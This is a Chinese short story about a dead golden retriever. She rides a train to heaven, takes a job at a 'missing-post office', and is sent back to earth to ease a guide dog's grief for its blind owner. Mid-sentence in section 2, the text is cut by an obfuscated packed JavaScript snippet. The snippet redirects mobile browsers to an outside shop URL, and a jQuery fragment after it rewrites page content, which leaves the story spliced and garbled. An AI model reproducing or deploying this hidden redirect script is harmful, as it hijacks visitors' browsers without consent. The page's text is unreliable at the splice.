“婆婆。您坐吧。”有个小女娃起身给我让座。
我抬头看了一眼车窗，里面映出了一个年迈婆婆的摸样：鬓发全白，神态疲惫。
这是我？我不是一只金毛狗吗？是从何时起，我开始变得这般苍老？
回想刚上车前，看着这列没有写着起止站点、通体泛着柔光的列车，我也是一样的茫然。
但还是被某种力量驱使着上了这趟列车。也许是无措，也许是茫然，也许是想着这列车能把我送回家。
我环顾了周围，并没有看到我的丫头。
而这列车上男女老少的表情，更让我心里的不安越攒越浓。
大家的表情似乎跟我一样，于忐忑中带着股藏于深处的伤感。
为了寻找丫头，我顺着节节车厢往前走。
这些车厢很奇怪，越往里走，车厢越老旧。而我内心的不安也愈发加重。
不只是因为找不到丫头，更因为这这些车厢里散发着某些似曾相识的气息，模糊地对应着某年、某地、某个旧相识。
当走到最后一节车厢时，我看见门楣上挂着一块年份牌：2016年。
那年，是我刚认识丫头的起点。
我扫过整节车厢，依旧没有丫头的影子，只有靠窗坐着个比我稍年轻些的男人。
持续的忐忑逼迫着我鼓起勇气走向了他：“请问，你知道这是开往哪里的列车吗？”
“天堂。”男人眼底泛着泪花，“我生前是一只苏牧。当时我刚坐上这列车时，也没明白。后来才知道，我已经去世了。”
去世了。
霎那间，我抬头望向车窗。玻璃上映出两道身影：一边是白发佝偻、满是岁月痕迹的老婆婆；另一边，是一只毛发泛白、体态苍老的金毛狗。
“不过我早就走完旅程了，已经去往轮回。这趟列车很温柔，会让我们留在自己的年份车厢里，等着遇见一些同年缘分，好好说上几句话。”
这时，列车员走过来说道：“我看你一节节车厢走过来，很是彷徨。这列车是往时光深处开的，你刚刚感受到的那些熟悉气息，其实就是散落在此的旧友灵魂。只是这趟车留了一扇温柔的窗，能让后来的我们与它们产生磁场共振”
“跟你家丫头道个别吧。她在等你。”
思绪纷乱之间，列车窗外骤然下起连绵细雨，雨丝朦胧铺满整片车窗，让玻璃更凉了。
这不是天堂的雨水，而是丫头思念我的泪水。
此刻，我抬起泪眼婆娑的双眼，再度看向车窗：车窗里那个苍老身影已经褪去，我又回到了一只年迈金毛犬的模样。
这时，列车缓缓减速，车厢内响起温柔的广播：“前方到站，思念邮差局。新来的旅客请整理心绪，准备下车。”
“天堂设有多种差事，供各位选择：有思念邮差局，有记忆档案馆，有梦境编织处，还有星光引路所。大家可根据自己的心愿，前往报到。”
也许是心底的牵挂推着我，我在这一站下了车。
1.
脚刚落地，眼前的景象便缓缓展开，迎接我的是一片柔和明亮的金光。前方几栋洁白的屋子，轻盈地伫立于半空中，四周云气缭绕。上面挂着一块木牌，上面写着：思念邮差局。
这时，前方一只苏俄猎狼犬朝我走过来。它走得很慢，越靠近我时，身形越模糊，直到幻化成一位身着白色纱裙，个子很高挑的优雅女士。“你是达达？”
听到有人再次喊起这个名字。我愣了一下，有些恍惚。
“你知道自己现在多少岁了吗？”
我其实并不清楚。只记得在后来这几年里，我慢慢的活力消退，变得不爱动，走路缓慢，肠胃也越来越敏感；而丫头也总觉得我可能患了帕金森。因为有时我会找一个没人的暗房间，对着一堵墙发呆；还有的时候，我会因为疲劳过度，情绪过度而浑身发抖。
“你十岁多了。”她说，“换算成人间年纪，八十了。”
原来我都八十了。难怪车窗里照出那副模样。难怪丫头这两年总喊我“小老太”。
“你已经去世了。她顿了顿，“但去世不代表消失，你还会有下辈子。至于下辈子，要去哪，要找谁，要多快，全看你接下来的任务做得怎么样。”
“如果你愿意成为思念邮差局的工作人员，也许我们能给你这个机会。你的任务是：奔赴人间完成一件又一件未圆满的思念小事，治愈那些遗憾和牵挂。每圆满完成一个思念任务，灵魂便倒退八岁，人形样貌同步变得年轻，对应的狗狗身形也会一同逆生长。到最后，我们会安排给你一个最好的结局。但现在还不能告诉你。你愿意吗？”
我回想着列车上一路遇见的那些老朋友。心里早就有了答案。“我愿意。”
“欢迎入职思念邮差局。”
2.
在我踏入天堂时，先是闻到了一股熟悉的、温顺又坚韧的气息，它绕在云端柔软的光雾里，迟迟未散开。我知道那是同类的味道，感受到这里面带着一生劳碌的疲惫，还藏着放不下的惦念。
我从云朵的倒影中，发现我又变回那个80岁老太的模样。背脊稍感无力，推着我走路有些前倾。双腿也有些不灵敏，抬起腿都要慢半拍。
这是我来到这里的第一天，我对这里还不习惯。我环顾了一下周遭，这里没有病痛折磨，没有生离死别，狗狗们看起来似乎非常自由与欢愉。有的追着彩球奔跑，有的互相蹭蹭打闹，有的则是窝在云端，看似惬意。
可这份祥和，却丝毫未能冲淡我心底模糊的怅然：我大概确定已经离开了最在意的丫头，但我却记不清和丫头离别时的模样，只觉得有一股直钻心的痛和意识深处里那阵阵的牵挂。
走着走着，我的脚步不由自主地落在了一道与我同样落寞的身影旁。
是一只深棕毛色的拉布拉多，它安安静静趴于云边草地，脑袋垂在爪子上，眼睛一直望着凡间方向。我能感觉到他周身的气息满是沉寂，与周遭稍显安乐的天堂光景格格不入。
我挨着它坐下，像生前丫头待我那样，温柔地抚摸着它。同为离世的狗狗，我懂那份沉甸甸、化不开的牵挂。
这时，一颗绒布小球意外滚到了它的脚边。我抬眼看去，那边正在玩耍的狗狗瞬间化成人形，对着我们扬声叫唤：“麻烦把球扔过来呀！”但铁蛋却始终没有动弹，眼神里也毫无波动，仿佛对眼前这一切毫无感知。
此刻，我内心充满着疑惑，为何它面对同类的邀约，会是这般沉默疏离。
“它不是不想玩，是不会玩，也不敢玩。”温和的声音在身后响起，我回头一看，看见从远处慢悠悠走来一只年岁稍大，全身上下散发着气场光辉的大白熊犬。随着他越发走进，慢慢地幻化成一个有些魁梧的、白发苍苍的老者模样。
原来，这是天堂的缘分司，他一生向善，功德无量，只是在最后一次轮回的时候，由于了无牵挂，所以选择留在了天堂任职。它的眉眼慈祥，带着看透生死的温润，却也不失威严。
缘分司蹲下身，同意轻柔地抚摸着这只拉布拉多，眼底满是心疼与遗憾。
他转头看着我，缓缓道出了这只拉布拉多一生的宿命：“铁蛋是导盲犬，从它降生的那一刻起，就注定了没有普通狗狗的自由与快乐。它这一生，要经历四次离别：一次是被迫离开生母；一次是离开寄养家庭；一次告别它的训导员；而最后一次，便是最后陪伴的那个残障人士，这一载可能就是10年。”
“这一辈子，它需要压抑所有天性，不能随意闻嗅路边的气味，不能肆意奔跑撒欢，不能和同类打闹嬉戏，连撒娇玩球都成了奢望。所有的行为都要恪守规矩，所有的注意力都要放在引导主人、保障主人安全上。”
“它从未为自己活过一天，所有的温柔、所有的时光，都给了那个叫陈望的盲人。这11年来，它做了陈望的眼睛，也成为了他的依靠。”
“因为肌肉常年劳损，在后面几年它患上了骨癌。带病期间，它也从未有过一丝松懈，直到最后积劳成疾，耗尽所有气力离开世间。”
“如今到了天堂，刻在骨子里的规矩与牵挂仍未消散，，魂魄也依旧拴
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735791|209052||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
在凡间那间小小的按摩店里，半步都不肯离开。这也是为什么它一直化不成人身的原因，因为执念太深。”
霎那间，我的心底涌起一阵酸涩，原本那模糊的记忆，在这一刻被瞬间唤醒。我终于想起了自己离世的那一天。
3.
那天夜里，一阵突如其来的腹部胀痛席令我坐立难安，我只能将自己蜷缩起来。我不敢发出声音，不敢表现出我的痛苦，因为我怕丫头因为我而焦急。我其实不止一次想发出哀鸣声，但是看到丫头那晚在床上辗转难眠，时不时地抚摸我肚子的时候，最终选择了忍耐。
随着时间一点一滴过去，我感觉到我的器官正在衰竭，呼吸开始变得艰难。我再也没有力气更换睡姿了，最后选择了安静侧躺着。凌晨3点，丫头蹲下来触碰我冰凉的鼻尖，我感受她开始有些落寞。
所以，我还是艰难地坐起来，深深地看着她，即使我的眼皮快要抬不起来了。因为我想把她深深嵌入我的记忆深处里……
没过多久，我的意识渐渐模糊，我不知道自己即将要离开丫头了，只是觉得我累了想睡过去。
睡着后，我似乎做了个梦。我飘于半空中，看到我的身体僵硬地躺在原地，模糊地听到丫头一遍遍喊着我的名字，我想要回应，但却发不出任何声响。
随后，有个陌生人上门，轻轻触碰了我的鼻子耳朵身体，跟丫头说了几句话，但我根本听不清。
那人走后，只见丫头顿坐在床边一会后，便开始小心翼翼地挪动我的身体，将我轻轻放进一个纸箱里，无数滴温热的水珠不断落在我那具躯体上，顺着纸箱缝隙滑落。我分不清那是丫头的泪水，还是流下的汗水。只知道当时那一瞬间，悲伤像潮水一般将我包裹。
慢慢地，我好像看不到我这个场景了，直到一道柔和的微光将我包裹，直到那辆列车的到来。
“我知道你在想什么。”缘分司看出我的思绪，继续说道：“你之所以封存了这段记忆，是因为潜意识里不想记起这份离别时的痛苦与悲伤。你在刻意将它遗忘。”
“那天晚上的事情，我也许比你清楚。你那晚突发重度胃扩张，你的黄金急救时间只有2个小时。而你们刚好在一个海岛上，方圆几十公里没有一家宠物医院。就连第二天要将你遗体活化的火候，还得跑几十公里回老家。这也是为什么，当时你家丫头独自去搬动你的身体，再放进纸箱，因为没有人帮她，但她必须带你回家。”
是啊，不知为何丫头会有这么大的力气能把我抬起放进那个纸箱。记得生前好几次她要抱起我，都以失败告终。
而“没有人帮她”这句话，更是再次把我拖拽回记忆深处：这10年来，我看着丫头一路过来，走的很艰难，也一直很孤独，但那时候还好有我在。但是以后呢？我的丫头要怎么办？
缘分司兴许看出了我的悲伤，继续轻声说道：“陈望无妻无子，十岁时失去双眼，二十年前又丧妻，这辈子唯一的伴就是铁蛋。铁蛋走后，老人把自己封了起来，不肯再接受任何陪伴，连路都走得艰难，铁蛋的魂魄执念太重，没法安心归位，需要一位同样懂人间牵挂、懂离别之苦的同伴，下凡帮它了却心愿。”
“而你这份藏在心底的惦念，会让你比任何灵魂都更懂铁蛋的不舍，也更想把这份人间的温暖，重新还给孤单的人。”
我抹去泪水，抬头看着缘分司。不知是它这段话的力量，还是对铁蛋的同情，又或是对丫头的那份惦念，潜意识似乎在促使着我接下这个任务。
我深知这不仅是为了铁蛋，更是为了那份跨越生死的陪伴与牵挂，为了让所有像丫头、像陈望一样深陷孤独的人，能重新拥有温暖，也为了让所有像铁蛋一样耗尽一生的生命，能得到真正的释然。
“你下凡后，会回到金毛狗身的模样，不会开口说话。凡间的人都能看见你，这是临时赋予你的显形权限。”缘分司深深看着我，从他眼神里，我感受到了一股信任，“任务完成，自有讯号唤你回来。”
此刻，一股温柔微风袭来，将我卷起，带着我纵身跃下了云端。